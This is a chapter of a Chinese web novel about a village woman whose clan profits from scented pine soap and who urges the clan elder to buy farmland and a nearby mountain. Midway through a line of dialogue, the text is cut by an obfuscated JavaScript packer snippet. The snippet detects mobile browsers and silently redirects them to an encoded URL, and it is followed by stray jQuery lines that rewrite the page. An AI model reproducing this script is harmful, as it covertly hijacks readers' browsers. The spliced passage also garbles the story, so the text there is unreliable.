柴房里,郑冬粒正把小陶锅里的糊状物倒入木盒中。


    那糊状物郑冬枣自然认得,淡淡的松木香味从散了出来。


    郑冬枣眼前一亮。


    胰子她家是用过的,带香味儿的她却是闻所未闻。


    “成了?”


    柴房里,几人都很兴奋,“过几日成型了再看吧。”


    村里的日子过的很快,地里的辣子收了一波又一波,家家户户院墙上再次挂起红艳艳的辣椒串,看着格外喜庆。


    等到郑秋穗在饭桌上见到地三鲜和凉拌西红柿的时候,郑家屯的第一批胰子成型了。


    六百块胰子从院里运了出来,村里人纷纷观望。


    大家都在好奇这东西能卖多少银钱。


    后续的销售郑秋穗虽然不参与,但她依然祈祷这批货能卖好,毕竟第一炮打响了,后面才会顺利很多。


    没几日,族老们又聚在了一起。


    郑春苗眼睛亮闪闪的,满脸憋不住的喜意,喘着粗气跑过来寻郑秋穗。


    祠堂里,族老正叩拜祖先,见郑秋穗进来,纷纷看了过来。


    这群族老们满脸容光焕发,跟年轻了十几岁似的,看着她的眼神仿佛发现了个大宝贝。


    “……”她压力有点大。


    “好家伙,照这么下去,今年能把族人的粮税、役税等等全给交了不说,还有盈余。”


    钱奶奶噼里啪啦打着算盘,声音里满是欣喜。


    “呶,这是你的。”


    说着,钱奶奶扒拉了几个金锭给郑秋穗。


    “从销路来看,六百块不够,南边的货商要的多……”


    后面的讨论,郑秋穗没听,她拿了金锭,拉着郑春苗偷偷跑了出去。


    她就是个搞研发的,拿了这么多银子够打眼了,她可不想给族里留下自己想争权夺利、执掌大局的错觉。


    “姐,你发啦!”郑春苗两眼发直,木呆呆的半天回不过神。


    “得了得了,等咱们的新产品投入生产,大家都有。”


    郑秋穗之前已经拟好了文书,郑冬粒几人已经签字画押交到族里了。


    郑秋穗给她们开的工钱是每月二钱,不高不低。


    不过,郑秋穗除了有基础的两成分红外,有新品上市,她是有额外的一成分红的。


    她决定把那一成分了一半出来,给跟着她的三个人分。


    轻轻松松每个月将近二百两银子进账。


    钱多事少离家近,郑秋穗对目前的生活表示很满意。


    特别是几天后,泛着淡淡的松木香味的瓦罐被打开,仔仔细细把里面的松针碎过滤干净后。


    从胰子里面透出来的,比之前任何方式处理都要浓郁的多的松香味,叫一旁围着的三人欣喜不已。


    用松针煮水做出来的胰子虽然已经不臭了,但松香味挥发太快,留香是半点没有的。


    松针磨粉做的胰子倒是香味持久,奈何即便把粉磨的再精细,皮肤细嫩的人用着还是磨的生疼,郑秋穗索性把它们拿来去角质了。


    现在做出来的这盒胰子方才能完美的符合郑秋穗的构想,真真正正的香胰子,做出来了!


    三人立马行动,经过几日的磨合,她们配合的已经很熟练了,原本生产中浓重的腥臭味被彻底盖住,很快糊状物被倒进了木盒中。


    等待这盒胰子成熟的日子简直令人度日如年。


    这期间,十里八乡传开了一个大消息。


    郑家屯外头将近七百亩地以及郑家屯背靠的雪峰岭要找买主。


    “……听说是要举族移居中原,价格挺合适呢。”


    郑春苗把听到的消息一一说了。


    而她之所以这么清楚,自然是因为她娘和她奶都盯上这些地了。


    别的不说,离他们一族的底盘这么近,这是老天爷掉下来的馅儿饼!


    对于庄户人家,即便有了再赚钱的买卖,内心深处,却也是无论如何都放不下田地的。


    可七百亩地不是小数目,一般人家哪里能一口气吞下。


    村里有些余钱的人家纷纷观望打听了起来。


    要知道,这时候,田地和山头可不会轻易卖,这种机会,可遇而不可求。


    郑秋穗心心念念可以买地的机会,就这么来了。


    得知消息,郑秋穗立马召集家里,清算了一番家里的存银,有将近四百两。


    族里新一批的胰子还在做。


    一个月之内,她少说还有二百两到账,更别提还有新品准备上。


    所以不用担心王师傅那边的银钱供不上以后……


    郑秋穗就一点也不担心自己把家里的资金链弄断了,花起钱来毫不手软。


    六百两银子能给她家填几亩地了……郑秋穗开开心心的想。


    何止几亩,族长见到摆在自己面前的银钱时眼珠子都要掉出来了。


    合着她们村最有钱的大户,是眼前名声不显的穗姐儿啊!


    没错,族里有意向买地的都来找族长了,毕竟人家举族之力要卖地,她们即便有意向买,也得族长亲自去谈。


    也不知道是不是巧合,今儿来的都是香坊里面抬头不见低头见的熟人。


    刚发了银子,再加上家里的存银,几十两还是拿的出来的。


    大家心领神会的笑笑,纷纷转头看向了族长。


    “……成成成,我去谈”,族长无奈的应下,“七百亩地,少说也得四千两银子,咱们屯儿要全吞下这些地怕是艰难,可要说吞它一半,那也不是没有可能。”


    郑秋穗听得出来,族长打算动用刚进账那笔银钱了。


    给族里多置些地,便是给后人多置些产业。


    庄户人家多少是有些惯孩子的,从不想着孩子能有多大出息,却总想着给她们多留着些后路托底。


    即便是兵荒马乱或是天灾人祸的,只要有地在,总归能刨些食儿,断断是饿不死的。


    但郑秋穗今天过来,除了要买地的事……她盯上那座雪封岭了。


    之前还以为那山是无主的,眼下知道了,她自然不想放过,可惜她心有余而力不足,动不了那座山了。


    ……可是族里有啊!


    郑秋穗笑眯眯的看着对面的族长奶奶。


    “……你要雪封岭?”


    族长不理解,这个娃娃一天天奇思妙想多的很,不过她也挺乐意听就是了。


    “是春溪山上的野菜果子不够吃?还是兔子不够肥?要么是你家盖房子的木头不够使了?不应该啊?好端端的,你怎么又盯上雪封岭了?不当吃不当穿的,要那么些山做什么?”


    “……奶,瞧你说的我跟个大馋丫头似


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833196|189395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的。”


    郑秋穗依旧笑眯眯的。


    看起来就没憋啥好屁……族长瞥了一眼不想理她,可也没转身离开。


    郑秋穗连忙顺杆爬。


    “不是我要雪封岭,我是想族里要下。”


    眼瞧着族长要瞪眼,郑秋穗赶忙道。


    “这一来雪峰岭比春溪山那是大了十几倍有余的,上面的木头、石头、药材、野果、鸟兽等等不知凡几,到时候咱不光能自己用,卖出去也是族里的一份收益。”


    “二来,咱们的祖坟正好在雪峰岭和春溪山的交界,数年来不知安葬了多少族人,万一雪封岭被那不知礼数的买了,到时候祖宗不得安宁事小,万一祖坟被迫分散、受外人侵扰,那还了得?”


    “不得安宁……还事小?她敢?”


    族长拍桌子瞪眼,仿佛看到了那个挖她们祖坟的王八蛋。


    “所以说嘛,还不如咱自己把握主动权。”


    “再则我在雪封岭上发现了一种矿石,能做出太多独一无二的东西,我敢保证,靠着那个,咱们香坊的规模,有生之年定能达到顶峰,搞不好封个皇商,给皇帝献贡品呢!”


    郑秋穗把胸脯拍的邦邦响,惹得族长看了过来。


    “说来说去,你是盯上这矿了吧?”


    族长白了一眼,坐回到炕上。


    “不不不,是替咱们族里盯上了,您要是担心钱,咱们族里这一批货快好了不说,我这儿还有新货,等好了给您拿过来瞧。”


    郑秋穗赶忙卖乖,见族长不搭理她,又开始贫嘴。


    “主要吧,是昨儿晚上我奶托梦了,她说呀,这坟头就得清清静静的……这要是自己族人过来便罢了,外人三天两头到她坟前蹦哒,她得打死我这不孝的孙女,她还说呀……”


    “成了成了成了!知道了!滚出去把你蓝奶奶钱奶奶叫过来,看得我眼睛疼。”


    郑朵儿家这糟心的孙女一天到晚给她添堵!


    郑朵儿也是……你都埋地下了,还让人不省心!


    老太太想着账上的银子,心里狂滴血。


    数百年来她们郑氏一族的族产什么时候这么足过,结果在她手上还没捂热乎,眼瞅着就被人惦记上了……


    眼见族长有了决断,郑秋穗连忙到村子里喊人了。


    没几日,郑秋穗听说了香坊加班加点的消息。


    “……非要现银,写欠条都不行,真是死脑筋!”


    郑春苗在她耳朵旁骂了很久了。


    她们族长和卖地的陈姓一族交涉过了,六两银子一亩地,价格还算公道,可那座雪封岭……对方给出了一个天文数字。


    “……好香啊。”


    骂了半天,郑春苗凑过来耸着鼻子感慨。


    郑秋穗正把木盒中的香胰子拿出来片开晾干。


    “她们出的田价格公道,山头想必也是值这个价的,你只看族里没还价就知道。”


    郑秋穗叹了口气。


    “……我知道,这几日香坊黑白颠倒的,整晚整晚灯火通明,冬粒姐都快被腌入味儿了,那黑眼圈啧耷拉的跟个鬼一样。”


    郑春苗皱了皱鼻子。


    郑秋穗把香胰子摆好,想了想,忽然道,“既然卖家那儿签不了欠条,买家这儿签不就行了?”


    “啊?”郑春苗一脸懵。